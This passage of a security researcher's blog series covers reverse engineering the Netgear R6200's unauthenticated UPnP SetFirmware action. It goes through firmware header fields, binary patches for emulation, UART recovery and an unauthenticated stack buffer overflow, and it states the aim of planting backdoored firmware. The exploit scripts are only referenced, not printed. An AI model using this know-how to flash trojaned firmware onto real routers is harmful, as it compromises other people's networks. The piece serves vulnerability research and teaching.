<a href="https://www.flickr.com/photos/99298302@N02/16838649779" style="margin-left: 1em; margin-right: 1em;" title="Minimal R6200 firmware booted by Zachary Cutlip, on Flickr"><img alt="Minimal R6200 firmware booted" height="392" src="https://farm8.staticflickr.com/7592/16838649779_dffb74a783.jpg" width="500" /></a></div>
<br />
<br />
Let's take a break for a second and reflect on where we are. We've successfully exploited a broken, abandoned, and forgotten capability in order to upload a firmware that we control to the Netgear R6200 over the network without authentication. We had to overcome the following challenges to get here:<br />
<ul>
<li>Reverse engineer the UPnP daemon</li>
<li>Come up with silly timing games necessary to work around the broken networking code.</li>
<li>Binary patch, emulate, and debug <code>upnpd</code> and <code>httpd</code>.</li>
<li>Work out what the SOAP request should look like since the “parsing” is just bunch of <code>strstr()</code>’s against the *entire* HTTP request, and spread across a whole bunch of different functions</li>
<li>Reverse engineer the <i>legitimate</i> firmware format, as parsed by <code>httpd</code>.</li>
<li>Reverse engineer how <code>upnpd</code> parses the firmware format.</li>
</ul>
A few things remain before we can declare victory. We need to:<br />
<div>
<ul>
<li>Embed a tool in the minimized stage 1 firmware image that will download the larger stage 2 firmware.</li>
<li>Successfully write the downloaded firmware to flash so that CFE is satisfied and will boot it.</li>
<li>Embed some sort of backdoor in the larger firmware. After all, that's the point of the exercise, right?</li>
</ul>
<div>
Before wrapping up the series, I'll discuss all three of these things. Before that, though, I'll <a href="http://shadow-file.blogspot.com/2015/09/abandoned-part-12.html">discuss</a> an intermittent crasher due to an invalid <code>free()</code> that you may or may not have encountered. Avoiding it is necessary to ensure the router reboots into the stage 1 firmware. I'll talk about how we can abuse the firmware header in such a way as to prevent crashing.<br />
<br /></div>
<div>
<br />
------------------------------<br />
[1] When I did this project the first time around, back in December 2013 and January 2014, I hadn't discovered samba hiding out in <code>/usr/local/samba</code>. After deleting all the nonessential stuff from <code>/usr/sbin</code> and <code>/lib</code>, the SquashFS filesystem was still about a MB over the 2.7MB we need. What I ultimately did back then was to delete the (huge!) 4.1MB wl.ko from <code>/lib/modules/2.6.22/kernel/drivers/net/wl</code>. This, unfortunately, is the kernel module for the wireless hardware. Deleting this meant when the system booted there would be no WiFi. The system still worked and had network connectivity, but this was a very intrusive modification that I was never really happy with. Fortunately, finding the Samba installation in a non-standard directory means we don't need to remove the wireless driver.<br />
<br />
[2] This is in the git repository linked earlier. The exploit script is <code>setfirmware.py</code>.</div>
</div>
Zach Cutliphttp://www.blogger.com/profile/04234441021013504307noreply@blogger.comtag:blogger.com,1999:blog-9636763.post-1164011284906199792015-07-09T08:11:00.001-07:002015-10-08T08:16:54.031-07:00Broken, Abandoned, and Forgotten Code, Part 10<h3>
Debugging and De-bricking the Netgear R6200 via UART</h3>
<div>
<i>Update: I forgot to credit my former colleague, Tim (<a href="https://twitter.com/bjt2n3904">@bjt2n3904</a>), for helping me locate the UART header. This project would have been way more challenging without the serial connection. It would have involved desoldering the flash memory chip, probably replacing it with a ZIF socket, and then removing and reprogramming the chip for each iteration of testing.</i><br />
<br />
In the previous <a href="http://shadow-file.blogspot.com/2015/06/abandoned-part-09.html">installment</a>, we filled out the ambit firmware header just enough to satisfy Netgear's broken UPnP server. We also patched out several <code>ioctl()</code> calls in <code>upnpd</code> in order to test the <code>SetFirmware</code> exploit in emulation.<br />
<br />
We're now at the point that emulation is no longer adequate; we need to start testing against actual hardware. There are subtle and not-so-subtle differences between emulation and hardware that affect how the exploit works. Some exploits, such as command injections and even buffer overflows, can be tested and developed entirely in emulation. Since this exploit writes a firmware image to flash memory, we need to ensure it is written to physical storage properly and will successfully boot and run.</div>
<div>
<br /></div>
<div>
Experimentation with modifying a device's firmware calls for some sort of connectivity at a lower level than just a Linux shell. If the operating system fails to boot, there is no shell. We'll need to connect to the device in order to diagnose the problem and recover. The iterative process of developing the small, bootstrap firmware that I will describe later entails many incomplete builds that will leave the device in a semi-broken state. Knowing that you can recover by restoring a good firmware makes the project much less risky.</div>
<div>
<br />
What you'll need for this part:<br />
<ul>
<li>USB to UART cable (described below)</li>
<li>Soldering iron</li>
<li>Torx screwdriver set (I like <a href="http://www.amazon.com/gp/product/B000FGQ1G6/ref=oh_aui_search_detailpage?ie=UTF8&psc=1">this</a> one)</li>
<li><b>Solid</b> copper wire in a few colors (I think 22 gauge is fine here)</li>
<li>3 male-to-female <a href="http://www.amazon.com/Jumper-Wires-Premium-200mm-Female/dp/B008MRZSH8">jumper wires</a> of different colors (black, orange, and yellow are ideal)</li>
</ul>
</div>
<div>
<br />
<h3>
Hunting for UART Header</h3>
Fortunately the R6200 has a UART header you can connect to using a serial terminal application such as Minicom. With Minicom, you can interact with the bootloader to see diagnostic messages and even drop into a recovery console.</div>
<div>
<br /></div>
<div>
To interface with the R6200's UART, you can use a cable like the FTDI 3.3V USB to Serial cable, (part number TTL-232R-3V3-2MM). It's available from <a href="http://www.alliedelec.com/1/products/13504-6-cond-usb-serial-ttl-assembly-cable-mfr-part-ttl-232r-3v3-2mm.html">Allied Electronics</a>, <a href="http://www.amazon.com/Ftdi-TTL-232r-3v3-Serial-Converter-Cable/dp/B00M41OUYA">Amazon</a>, <a href="https://www.sparkfun.com/products/9717">SparkFun</a>, and others.</div>
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://www.flickr.com/photos/99298302@N02/16742605967" style="margin-left: auto; margin-right: auto;" title="ftdi usb-serial by Zachary Cutlip, on Flickr"><img alt="ftdi usb-serial" height="375" src="https://farm9.staticflickr.com/8688/16742605967_9067ca8df4.jpg" width="500" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">USB to UART cable for serial debugging</td></tr>
</tbody></table>
<br />
<br />
<div>
The UART connection isn't exactly set up and ready for you to use, though. This means taking apart your router and heating up your soldering iron.<br />
<br />
There are couple of torx screws that hold the base on.</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://www.flickr.com/photos/99298302@N02/16742627687" style="margin-left: 1em; margin-right: 1em;" title="R6200 Bottom Screws by Zachary Cutlip, on Flickr"><img alt="R6200 Bottom Screws" height="210" src="https://farm8.staticflickr.com/7642/16742627687_d92ddb48ac.jpg" width="500" /></a></div>
<br />
Then there are a couple more torx screws that hold the outer shell together. These are the same size as the previous ones, but different length. Keep them organized if you plan to put the router back together.<br />
<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://www.flickr.com/photos/99298302@N02/16762524400" style="margin-left: auto; margin-right: auto;" title="R6200 screws by Zachary Cutlip, on Flickr"><img alt="R6200 screws" height="500" src="https://farm8.staticflickr.com/7593/16762524400_521bce0f14.jpg" width="500" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">More screws.</td></tr>
</tbody></table>
<br />
<br />
With the outer screws removed, you can start separating the front and back half of the clamshell. There are plastic tabs all the way around that hold it together. I broke a few trying to get it open. Once you get the front half off, you'll find the PCB held in by more torx screws.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://www.flickr.com/photos/99298302@N02/16742630447" style="margin-left: 1em; margin-right: 1em;" title="R6200 inside screws by Zachary Cutlip, on Flickr"><img alt="R6200 inside screws" height="355" src="https://farm8.staticflickr.com/7610/16742630447_1291fa1679.jpg" width="500" /></a></div>
<br />
Once you remove the PCB, you can locate the UART header, which is exposed as four solder pads.<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://www.flickr.com/photos/99298302@N02/16327656744" style="margin-left: 1em; margin-right: 1em;" title="UART header pinout by Zachary Cutlip, on Flickr"><img alt="UART header pinout" height="500" src="https://farm8.staticflickr.com/7587/16327656744_734ac1a817.jpg" width="500" /></a></div>
<br />
<br />
The solder pads, from left to right, are VCC, ground, transmit, and receive. You don't need VCC; it's +3.3V power. The USB adapter is powered by your computer's USB port, instead. That leaves ground, TX, and RX. The transmit and receive are relative to the device, so transmit from the device connects to receive of your cable and vice versa. Solder short leads to the appropriate pads, and connect your jumper wires to them. Then, route the jumpers out of the case so you can access the UART once you reassemble your router. I drilled a small hole in the top for a passthrough.<br />
<br />
Here's how the UART header maps to the USB adapter's pinout:<br />
<br />
<ul>
<li>Device GND <-> Adapter GND (black)</li>
<li>Device TX <-> Adapter RX (yellow)</li>
<li>Device RX <-> Adapter TX (orange)</li>
</ul>
<div>
If you have orange, yellow, and black jumpers, connecting them up so the colors match the USB adapter will save you some trouble. Sadly, I had green, pink, and blue on hand, so mine is exciting and confusing every time I hook it up.</div>
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://www.flickr.com/photos/99298302@N02/16742703207" style="margin-left: 1em; margin-right: 1em;" title="Passthrough for UART Leads by Zachary Cutlip, on Flickr"><img alt="Passthrough for UART Leads" height="375" src="https://farm9.staticflickr.com/8696/16742703207_f87695275a.jpg" width="500" /></a></div>
<br />
Then, I zip-tied the leads to reduce stress on them.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://www.flickr.com/photos/99298302@N02/16763855199" style="margin-left: 1em; margin-right: 1em;" title="R6200 UART Leads Zip-tied by Zachary Cutlip, on Flickr"><img alt="R6200 UART Leads Zip-tied" height="500" src="https://farm8.staticflickr.com/7611/16763855199_aa614272cd.jpg" width="500" /></a></div>
<br />
<br />
<h3>
Connecting Using Minicom</h3>
You may want to test the serial connection before reassembling. The baud rate is 115,200 and serial port settings should be 8,N,1. Here's my mincom configuration for the R6200. Obviously adjust your ttyUSB device as appropriate, but it's usually <code>/dev/ttyUSB0</code>.<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #202020; overflow: auto; padding: .2em .6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #aaaaaa;">#</span><span style="color: #999999; font-style: italic;">#######################################################################</span>
<span style="color: #aaaaaa;">#</span> Minicom configuration file - use <span style="color: #ed9d13;">"minicom -s"</span> to change parameters.
<span style="color: #cccccc;">pu port /dev/ttyUSB0</span>
<span style="color: #cccccc;">pu baudrate 115200</span>
<span style="color: #cccccc;">pu bits 8</span>
<span style="color: #cccccc;">pu parity N</span>
<span style="color: #cccccc;">pu stopbits 1</span>
<span style="color: #cccccc;">pu rtscts No</span>
<span style="color: #aaaaaa;">#</span><span style="color: #999999; font-style: italic;">#######################################################################</span>
</pre>
</div>
<br />
When you connect with Minicom and power on the R6200, you can see the boot text scrolling across the console. If you let it boot, and hit return in the console, it gives you a root prompt. It's not a great terminal environment, though. There's no scrollback, for example. Once you have a serial console, use netgear-telnetenable[1] to fire up the telnet backdoor.<br />
<br />
Shitty terminal environments aside, the serial console is great for restoring to a non-broken firmware. As long as nothing trashed the flash partition that contains the CFE boot loader, you can break in to a debug prompt and do a restore.<br />
<br />
When you first power on the device and see CFE loading, break in with <code>ctrl+c</code>. You need to break in right after CFE starts, but before it finishes loading the kernel and operating system from flash. Incidentally, this gets trickier after we shrink the firmware down from nearly 9MB to under 4MB because the load time shortens dramatically, narrowing the window when you can break in.<br />
<br />
<h3>
Recovering a Bricked Router</h3>
If you break in at just the right time (I just mash <code>ctrl+c</code> repeatedly), you should get a <code>CFE> </code> prompt. Once you've got the prompt you can start up CFE's TFTP server with the <code>tftpd</code> command to restore a factory firmware. <br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://www.flickr.com/photos/99298302@N02/16994377445" style="margin-left: 1em; margin-right: 1em;" title="CFE Firmware Recovery over Serial by Zachary Cutlip, on Flickr"><img alt="CFE Firmware Recovery over Serial" height="352" src="https://farm8.staticflickr.com/7634/16994377445_1dff3f9c7a.jpg" width="500" /></a></div>
<br />
<br />
The router's network configuration is 192.168.1.1/24. There's no DHCP server in this mode, so you'll need to configure your own network interface manually. You'll need a tftp client to upload the firmware image. TIP: Be sure to switch your client to binary mode. This gets me every time.<br />
<br />
When you reboot, the router should be back to normal. Now you can iteratively test custom firmware knowing that it only takes a minute or two to restore back to a good one.<br />
<br />
In the next <a href="http://shadow-file.blogspot.com/2015/07/abandoned-part-11.html">part</a>, we'll regenerate the SquashFS filesystem. We'll also work on shrinking the firmware down to 4MB to avoid crashing <code>upnpd</code> during exploitation. We'll need to hunt down and eliminate nonessential services, while avoiding breaking the boot sequence. Stay tuned!<br />
<br />
------------------------------<br />
[1] Did you know that nearly every one of Netgear's consumer devices has a well-known but unacknowledged backdoor? It's true. What the fuck are we even doing here. Who needs trojaned firmware when Netgear devices already have a backdoor. <a href="http://wiki.openwrt.org/toh/netgear/telnet.console">http://wiki.openwrt.org/toh/netgear/telnet.console</a>Zach Cutliphttp://www.blogger.com/profile/04234441021013504307noreply@blogger.comtag:blogger.com,1999:blog-9636763.post-28939217655353616182015-06-25T08:30:00.000-07:002015-07-09T20:32:10.030-07:00Broken, Abandoned, and Forgotten Code, Part 9In the <a href="http://shadow-file.blogspot.com/2015/06/abandoned-part-08.html">previous part</a>, we switched gears back to the Netgear R6200 <code>upnpd</code> after spending some time analyzing <code>httpd</code>. The HTTP daemon provided an understanding of how the firmware header is <i>supposed</i> to be constructed. We found a header parsing function in <code>upnpd</code> that was similar to its <code>httpd</code> counterpart. So similar that it has the same <code>memcpy()</code> buffer overflow. This overflow was more interesting this time around, as it did not require authentication. Additionally, we discovered a reference to the "Ambit image" via an error message string. Presumably an ambit image is a firmware format analogous to TRX. In this case, however, the ambit image encapsulates a TRX image.<br />
<br />
In this part we will identify more fields of the Ambit header, as well as run up against a limitation of QEMU: attempts to open and write to the flash memory device will fail since, in emulation, there is no actual flash memory. We'll need to patch the <code>upnpd</code> binary in order to work around this. I previously covered binary patching for emulation <a href="http://shadow-file.blogspot.com/2015/01/patching-emulating-and-debugging.html">here</a>.<br />
<br />
<h3>
Updated Exploit Code</h3>
<div>
The <code>janky_ambit_header.py</code> module has been updated to reflect the additional fields we add to the header in this part. You can find the updated code and README in the part_9 directory. Now is a good time to do a pull or to clone the repository from:</div>
<div>
<a href="https://github.com/zcutlip/broken_abandoned">https://github.com/zcutlip/broken_abandoned</a></div>
<div>
<br /></div>
<h3>
We Should Have Checked the Firmware Size Before Now</h3>
The <code>sa_CheckBoardID()</code> function, analogous to <code>abCheckBoardID()</code> from <code>httpd</code>, returns success if the following is true:<br />
<ul>
<li>The ambit magic number is found at offset 0.</li>
<li>The header size field doesn't overflow during the <code>memcpy()</code> operation</li>
<li>The checksum in the ambit header matches the header's actual checksum,</li>
<li>The proper board ID string is found and the end of the ambit header.</li>
</ul>
After <code>sa_CheckBoardID()</code>, at 0x00423CAC, we see several 32-bit fields parsed out. It remains to be seen how these values get used; presumably they are the same fields and get used the same way as in the <code>httpd</code> firmware validation. Then the size field from offset 24 is checked. It must be less than 0x400001, or 4194305, or firmware validation fails.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://www.flickr.com/photos/99298302@N02/16788460931" style="margin-left: 1em; margin-right: 1em;" title="Check image size < 4MB by Zachary Cutlip, on Flickr"><img alt="Check image size < 4MB" height="158" src="https://farm8.staticflickr.com/7592/16788460931_de2d5335a6.jpg" width="500" /></a></div>
<br />
<br />
Somewhat ironically, this check can never fail, assuming the size field is truthful. If the firmware image is larger than this size, then <code>upnpd</code> will crash, having overflowed the 4MB buffer allocated for base64 decoding. In our proof-of-concept code, the size field contains a bogus value, and execution skips down to an error message.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://www.flickr.com/photos/99298302@N02/16582300677" style="margin-left: 1em; margin-right: 1em;" title="Error message, image size too large by Zachary Cutlip, on Flickr"><img alt="Error message, image size too large" height="106" src="https://farm9.staticflickr.com/8639/16582300677_085dfa154f.jpg" width="500" /></a></div>
<br />
<br />
The error message belies someone's continued confusion over exactly how this capability is supposed to work. If the size validation fails, the error message is "The kernel image is over 512Kbytes!", although the test was against a 4MB upper limit.<br />
<br />
Inserting the proper TRX image size (or "kernel size" as the error message indicates) at offset 24 gets past this step. After the check, a function is called at 0x0042428C, <code>sa_upgrade_setImageInfo()</code>, that parses out several more values from the header. Again, no validation is performed on these values at this point. It remains to be seen if they are the same fields and will be used in the same way as in <code>httpd</code>.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://www.flickr.com/photos/99298302@N02/16234719943" title="sa_upgrade_setImageInfo() by Zachary Cutlip, on Flickr"><img alt="sa_upgrade_setImageInfo()" height="225" src="https://farm8.staticflickr.com/7592/16234719943_2cb865289c.jpg" width="500" /></a></div>
<br />
<br />
After this function is called, things begin to get interesting in a few ways. After a temporary "upgrade" file is created (but never used; wtf), <code>/dev/mtd1</code> device is opened. You'll need to work around the fact that QEMU doesn't provide this device. The following following things will fail if not addressed.<br />
<br />
First, opening mtd1 will fail if it doesn't already exist. Create an empty file to ensure the <code>open()</code> operation is successful.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://www.flickr.com/photos/99298302@N02/16228934983" style="margin-left: auto; margin-right: auto;" title="open /dev/mtd1 by Zachary Cutlip, on Flickr"><img alt="open /dev/mtd1" height="160" src="https://farm9.staticflickr.com/8619/16228934983_184d53dc50.jpg" width="500" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Opening /dev/mtd1 with O_RDWR.</td></tr>
</tbody></table>
<br />
<br />
Next, a series of <code>ioctl()</code>s is performed on the open file descriptor. To understand what these operations do, it's helpful to refer to <a href="https://dev.openwrt.org/browser/trunk/package/mtd/src/mtd.c?rev=17659">mtd.c</a> from the OpenWRT source code as a guide.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://www.flickr.com/photos/99298302@N02/16662892109" style="margin-left: 1em; margin-right: 1em;" title="Calling ioctl on /dev/mtd1 by Zachary Cutlip, on Flickr"><img alt="Calling ioctl on /dev/mtd1" height="151" src="https://farm8.staticflickr.com/7585/16662892109_c9ea1e8a72.jpg" width="500" /></a></div>
<br />
<br />
The first <code>ioctl()</code> will fail in emulation since we're just providing a regular file, not a device node. Patch out this operation with something that puts 0 in $v0, such as xor $v0,$v0.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://www.flickr.com/photos/99298302@N02/16641712737" style="margin-left: auto; margin-right: auto;" title="Call to ioctl patched out. by Zachary Cutlip, on Flickr"><img alt="Call to ioctl patched out." height="151" src="https://farm8.staticflickr.com/7602/16641712737_74c1972d87.jpg" width="500" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">ioctl is patched out.</td></tr>
</tbody></table>
<br />
<br />
This <code>ioctl()</code> we just patched out obtains, among other things, the erase size (i.e., block size) for the mtd device. We can simulate that result by patching at 0x0042453C where the the erase size is loaded into register $s5.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://www.flickr.com/photos/99298302@N02/16668589249" style="margin-left: 1em; margin-right: 1em;" title="Obtain block size for mtd1. by Zachary Cutlip, on Flickr"><img alt="Obtain block size for mtd1." height="132" src="https://farm8.staticflickr.com/7650/16668589249_e0e7807edd.jpg" width="500" /></a></div>
<br />
<br />
It doesn't matter a great deal what you use for the erase size in emulation. The write loop will write the firmware in blocks of that size, then it will write any remaining fractional block at the end. An actual R6200 device reports a block size of 65536, or 0x10000, so that's a good number to use. Patching this instruction with:<br />
<br />
<code>lui $s5, 1</code><br />
<br />
loads 1 into the upper half of register $s5 and 0x0 into the lower half, resulting in a value of 0x10000.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://www.flickr.com/photos/99298302@N02/16854727325" style="margin-left: auto; margin-right: auto;" title="Patch to set block size 0x10000 by Zachary Cutlip, on Flickr"><img alt="Patch to set block size 0x10000" height="113" src="https://farm8.staticflickr.com/7630/16854727325_8f02fd9343.jpg" width="500" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Patch in a constant 0x10000 for mtd1 block size.</td></tr>
</tbody></table>
<br />
<br />
Next, in the basic block starting at 0x004245D0, there are two more <code>ioctl()</code>s. The first one most likely unlocks the current portion of flash for writing. The return value from it isn't checked, end execution immediately proceeds to the second. Based on the error message, the second one erases the block of flash so it can be rewritten. With our fake <code>/dev/mtd1</code> there's no need to erase, so we can patch out this operation as before.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://www.flickr.com/photos/99298302@N02/16829013456" style="margin-left: auto; margin-right: auto;" title="Patch out memerase ioctl by Zachary Cutlip, on Flickr"><img alt="Patch out memerase ioctl" height="108" src="https://farm9.staticflickr.com/8734/16829013456_b575515025.jpg" width="500" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Patch out the <code>ioctl()</code> to erase flash memory.</td></tr>
</tbody></table>
<br />
<br />
Now, having patched out the <code>ioctl()</code>s that fail in emulation, writing to a regular file should work as normal. There is one more field that, while not validated directly, does affect what data gets written. When analyzing <code>httpd</code>, we discovered the field at offset 28 that contains the size of a theoretical second partition. In stock firmware this field is zeroed out. In <code>upnpd</code>, at 0x004245C0, this value is added to the address of the TRX image, and the result is the start of data that gets written to flash.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://www.flickr.com/photos/99298302@N02/18964323840" style="margin-left: auto; margin-right: auto;" title="calculate start of firmware data by Zachary Cutlip, on Flickr"><img alt="calculate start of firmware data" height="112" src="https://c1.staticflickr.com/1/362/18964323840_f50ee7b3a4_k.jpg" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">The start of firmware data is calculated.</td></tr>
</tbody></table>
<br />
<br />
In other words, the pointer to data that gets written is calculated as:<br />
<br />
<Address of firmware image> + <ambit header size> + <partition 2 size> = <start of data to write><br />
<br />
This doesn't make sense and further belies the programmer's confusion over how this algorithm should work and how the firmware should be formatted. At any rate, if we zero out the field at byte 28, everything works fine. The address of the TRX image will be the start of data written to flash.<br />
<br />
At this stage <code>upnpd</code> is ready to write our firmware to <code>/dev/mtd1</code>. Let's have a review of what portions of the ambit header had to be verified before getting here.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://www.flickr.com/photos/99298302@N02/18964752318" style="margin-left: 1em; margin-right: 1em;" title="header diagram 2 alternate by Zachary Cutlip, on Flickr"><img alt="header diagram 2 alternate" height="400" src="https://c1.staticflickr.com/1/326/18964752318_3f175181ac_b.jpg" width="178" /></a></div>
<br />
<br />
There's our familiar ambit header. It looks similar to the header diagram from our <code>httpd</code> analysis, except there's still lot of gray in there. Only six fields have been validated by <code>upnpd</code> up to this point:<br />
<br />
<ul>
<li>Ambit magic number</li>
<li>Header length</li>
<li>Header checksum</li>
<li>TRX image size (partition 1, aka "kernel")</li>
<li>Partition 2 size (not validated, but affects what gets written to flash)</li>
<li>Board ID string</li>
</ul>
That was easier than expected. When I sent the "firmware image" generated from random data to <code>upnpd</code>, my QEMU machine rebooted. This is because after the write loop, <code>upnpd</code> triggers a reboot so the new firmware will take effect. Our fake "/dev/mtd1" has even grown to 3.9MB as a result of the firmware writing.<br />
<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #202020; overflow: auto; padding: .2em .6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #cccccc;">zach@devaron $ ls -l mtd1</span>
<span style="color: #cccccc;">-rw-r--r-- 1 root 80 3900028 Mar 20 14:30 mtd1</span>
</pre>
</div>
<br />
At this point we've successfully exploited the <code>SetFirmware</code> UPnP SOAP action. We've gone as far as we can go with emulation. From here we'll move to physical hardware to test and develop the deployment of our firmware. In the <a href="http://shadow-file.blogspot.com/2015/07/abandoned-part-10.html">next post</a>, I'll describe connecting to the R6200 router's debug interface over its UART connection, so get your soldering iron ready.<br />
<br />
Spoiler: I'll go ahead and say we're not quite home free yet. Don't attempt to generate an image and flash it to your router yet. At best, the write will still fail. At worst, you'll brick it. Besides not having generated a valid squashfs filesystem and TRX image, there at least two more header fields that will trip you up before you're done. Once we get access over UART figured out, it will be possible to recover a bricked device.Zach Cutliphttp://www.blogger.com/profile/04234441021013504307noreply@blogger.comtag:blogger.com,1999:blog-9636763.post-802402040064385712015-06-18T08:30:00.000-07:002015-06-25T11:23:12.101-07:00Broken, Abandoned, and Forgotten Code, Part 8In the <a href="http://shadow-file.blogspot.com/2015/05/abandoned-part-05.html">previous</a> <a href="http://shadow-file.blogspot.com/2015/05/abandoned-part-06.html">few</a> <a href="http://shadow-file.blogspot.com/2015/06/abandoned-part-07.html">posts</a>, we spent time reversing how the Netgear R6200's HTTP daemon parses a firmware header before writing the firmware image to flash. The goal was to work out how the 58-byte firmware header is constructed and how to generate a new one that can replace the header in a stock firmware. In the end we identified the purpose of all but 4 bytes. The regenerated header plus the original TRX firmware image allowed the HTTP daemon, running in emulation, to reach the stage where it would start writing data to the <code>/dev/mtd1</code> flash partition. Considering this a win, we'll now circle back to analyzing <code>upnpd</code>.<br />
<br />
In this and the next part, we'll compare the way <code>upnpd</code> parses and validates the firmware header to that of <code>httpd</code>. Having developed a baseline understanding of how the header is parsed by <code>httpd</code>, analyzing <code>upnpd</code> is much easier.<br />
<br />
<h3>
Updated Exploit Code</h3>
As in previous installments, the exploit code has been updated. Since we're switching back to <code>upnpd</code> in order to analyze how <i>it</i> validates the firmware, the repository contains separate modules for that. Look for <code>janky_ambit_header.py</code> and <code>build_janky_fw.py</code>. You can find the updated code and README in the <code>part_8</code> directory. Now is a good time to do a pull or to clone the repository from:<br />
<a href="https://github.com/zcutlip/broken_abandoned">https://github.com/zcutlip/broken_abandoned</a><br />
<br />
<h3>
More Firmware Parsing, Pretty Much Like Before</h3>
As we discovered in <a href="http://shadow-file.blogspot.com/2015/05/abandoned-part-04.html">part 4</a>, a firmware larger than 4MB will crash <code>upnpd</code> due to an undersized memory allocation. Obviously we won't be able to strap a header to the front of a stock TRX image like we did with <code>httpd</code>; it's way too big. Shrinking the firmware will be a challenge for later. If it turns out that we can't even get so far as writing the firmware to flash memory without crashing, it won't matter that you were able to shrink and re-pack the firmware. Instead, just dd out a little less than 4MB of random data from <code>/dev/random</code> and prepend a header to it. If you can get <code>upnpd</code> to write that image to flash, you win this stage and may advance to the next level.<br />
<br />
Once we get past the undersized <code>malloc()</code> at 0x00423C24 in <code>sa_parseRcvCmd()</code>, the firmware is successfully base64 decoded out of the SOAP request. Then, at 0x00423C98, a function named <code>sa_CheckBoardID()</code> is called.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://www.flickr.com/photos/99298302@N02/16599255679" style="margin-left: 1em; margin-right: 1em;" title="Call to sa_CheckBoardID by Zachary Cutlip, on Flickr"><img alt="Call to sa_CheckBoardID" height="256" src="https://farm9.staticflickr.com/8659/16599255679_322bccda78.jpg" width="500" /></a></div>
<br />
<br />
This function should be familiar. It's nearly identical to the <code>abCheckBoardID()</code> function I described in <a href="http://shadow-file.blogspot.com/2015/05/abandoned-part-05.html">part 5</a>. So identical, in fact, that the buffer overflow via <code>memcpy()</code> I described previously is in this function as well.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://www.flickr.com/photos/99298302@N02/16597969318" style="margin-left: auto; margin-right: auto;" title="sa_CheckBoardID buffer overflow by Zachary Cutlip, on Flickr"><img alt="sa_CheckBoardID buffer overflow" height="231" src="https://farm9.staticflickr.com/8572/16597969318_e72d4bc2e8.jpg" width="500" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Buffer overflow due to memcpy() using header size field. Sad trombone.</td></tr>
</tbody></table>
<br />
<h3>
Even the Buffer Overflow is the Same</h3>
<br />
To recap, the <code>memcpy()</code> is bounded only by the size value from the header. Since we control that value, we get precise control over how many bytes are copied into the destination buffer.<br />
<br />
I didn't go into detail about the buffer overflow before, because I wanted to wait until I could discuss it in the context of <code>upnpd</code>. In the HTTP server, this isn't an interesting vulnerability. In that case, it is a post-authentication vulnerability. You would need to bypass authentication or trick a user into uploading your malicious firmware. If you've accomplished either of those, there are much more useful things you can be doing with your time than exploiting buffer overflows.<br />
<br />
In the case of <code>upnpd</code>, this same vulnerability doesn't require authentication, making it much more interesting. Here's what's neat about it:<br />
<br />
<ul>
<li>No authentication required.</li>
<li>The payload is base64 encoded and decoded for free, so there are no bad bytes to avoid related to the transport protocol.</li>
<li>The buffer overflow is via <code>memcpy()</code> rather than a string handling function. There are no bad bytes to avoid related to string handling.</li>
<li>The buffer being overflowed is on the stack, making it easy to overwrite the function's return address.</li>
</ul>
This is a straightforward buffer overflow. If you're new to stack based buffer overflows, or just new to exploiting memory corruption vulnerabilities on MIPS, this is an easy one to practice with, especially if you have the debugging environment I described <a href="http://shadow-file.blogspot.com/2015/01/dynamically-analyzing-wifi-routers-upnp.html">here</a> set up.<br />
<br />
However, as I said in the first <a href="http://shadow-file.blogspot.com/2015/04/abandoned-part-01.html">part</a> of this series, one of my self-imposed goals was to avoid exploiting bugs along the way. We're trying to flash a firmware without crashing, and any bugs along the way are obstacles to overcome.<br />
<br />
Working through this function reveals the same header fields that we discovered in its <code>httpd</code> counterpart: The magic number, the size and checksum of the header, and the board ID string. These fields are found at the same header offsets as before.<br />
<br />
<h3>
Mystery Header Gets a Name</h3>
There is one new piece of information, however.<br />
<br />
